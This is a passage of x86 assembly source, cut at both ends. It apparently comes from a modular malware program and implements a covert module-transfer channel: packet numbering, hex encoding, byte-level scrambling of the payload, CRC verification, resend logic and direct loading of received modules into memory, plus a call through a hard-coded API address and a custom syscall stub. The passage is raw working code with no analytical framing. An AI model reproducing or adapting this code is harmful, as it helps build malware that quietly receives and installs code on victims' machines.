al,bl call hex2ascii mov word ptr [edx],ax ; save hex char add edx,2 rol ebx,8 loop getthatitit2 ; print the 4 char sub edx,9 mov ecx,9 call directinput ; send the mark-crc add esp,9 popad ret ; finished skipdithis: popad inc ecx call sendpacket ; send next packet returnlayer6: cmp byte ptr [esi],'7' ; check resend packet jne returnlayer7 mov ebx,dword ptr [esi+1] ; load next packet call hex2val mov ecx,eax call sendpacket ; send it! ret returnlayer7: cmp byte ptr [esi],'8' ; check jne returnlayer8 mov ecx,4 ; inc esi getlayer8: mov ax,word ptr [esi] ; convert from buffer call ascii2hex ; into char add esi,2 mov bl,al rol ebx,8 loop getlayer8 ; get the 8 bytes of the Crc loadpointer edx,destbuffer,lc1 ; load the module in mem mov edx,dword ptr [edx] ; save it there mov ecx,dword ptr [edx] sub ecx,4 xor eax,eax ; nullify eax push edx getthatitit5: xor eax,dword ptr [edx] ; get the crc of the module rol eax,5 ; in the buffer inc edx loop getthatitit5 pop edx cmp eax,ebx ; jne mindbond ; transfer error ? ; here we load it, but we be coded later, normally it's a direct flush into ; the module areas ;int 3 loadpointer edx,destbuffer,lpp273 mov esi,dword ptr [edx] loadpointer edx,uploadinput,lpp276 movzx ecx,byte ptr [edx] CSyscall DirectUpdateIt mindbond: ;call layer5uninit mov cl,'1' ; restart transfer call minisend ; procedure returnlayer8: ret sendpacket: pushad pushad push 250 C_apicall 3126C0h,0 popad sub esp, 107 mov edi,esp push ecx mov byte ptr [edi],'5' ; set data packet mov eax,ecx ; xor ebx,ebx ; nullify ebx mov ecx,3 ; drop four char ; from the number of packet gen_doitagain: push ecx xor edx,edx mov ecx,10 div ecx ; div by 8 hexa number mov bl,dl ; got a number between 0-9 rol ebx,8 ; and sotre it into a reg pop ecx loop gen_doitagain add ebx,'0000' ; load it as number ;xchg bh,bl ;ror ebx,16 ;xchg bh,bl mov dword ptr [edi+1],ebx loadpointer ecx,uploadinput,m56 movzx ecx,byte ptr [ecx] ; load the data to be sent CSyscall getmodpointer ; then get the module pointer mov esi,eax ; set is as source xor edx,edx mov ecx,50 ; load the offset from this pop eax mul ecx ; add esi,eax add edi,5 ; set the destination to ; checksum mark mov ecx,50 xor eax,eax push ecx push esi gethatmo: add al,byte ptr [esi] ; make checksum of unencrypted ror al,1 ; bytes inc esi loop gethatmo ; do everything call hex2ascii pop esi pop ecx mov word ptr [edi],ax ; save the checksum add edi,2 getthatma: mov al,byte ptr [esi] ; load the byte ror al,cl ; encrypt it dec al ; ror al,cl is cool xor al,66 ; can make quite boring add al,cl ; to understand cryptation call hex2ascii mov word ptr [edi],ax ; drop the hex of the byte add edi,2 inc esi loop getthatma ; perform the 50 bytes mov ecx,107 ; set how much byte to send mov edx,edi sub edx,ecx call directinput ; send them add esp,107 popad ret hex2ascii: mov ah,al and al,0F0h ; load 1st ror al,4 call getitnow55 ; convert 1 - 16 to ascii and ah,0Fh ; load 2nd xchg ah,al call getitnow55 ; xchg ah,al ; reverse to be put on mem ret getitnow55: cmp al,9 ja setitdigit add al,'0'-'A'+9+1 ; for digit setitdigit: add al,'A'-9-1 ; for bytes ret ascii2hex: call getitnow56 ; transform from the byte xchg ah,al call getitnow56 ; to normal ror ah,4 add al,ah ret getitnow56: sub al,'0' cmp al,9 ; a number ? ja dontskipit ret ; finish dontskipit: sub al,'A'-'0'-9-1 ; a word ? ret hex2val: ; xor eax,eax mov ecx,4 getthatnowit: push ecx sub bl,'0' ; load this value mov ecx,10 xor edx,edx mul ecx ; push ebx movzx ebx,bl ; load byte add eax,ebx ; add it pop ebx ror ebx,8 ; load next ebx pop ecx loop getthatnowit ; do that 4 times, ret ; MAX = 500000 bytes ;include prorec\prosere.asm CSyscall0: db 68h CommodSyscall: dd offset RoutineHandler ret CommodEnd: skiploading: end start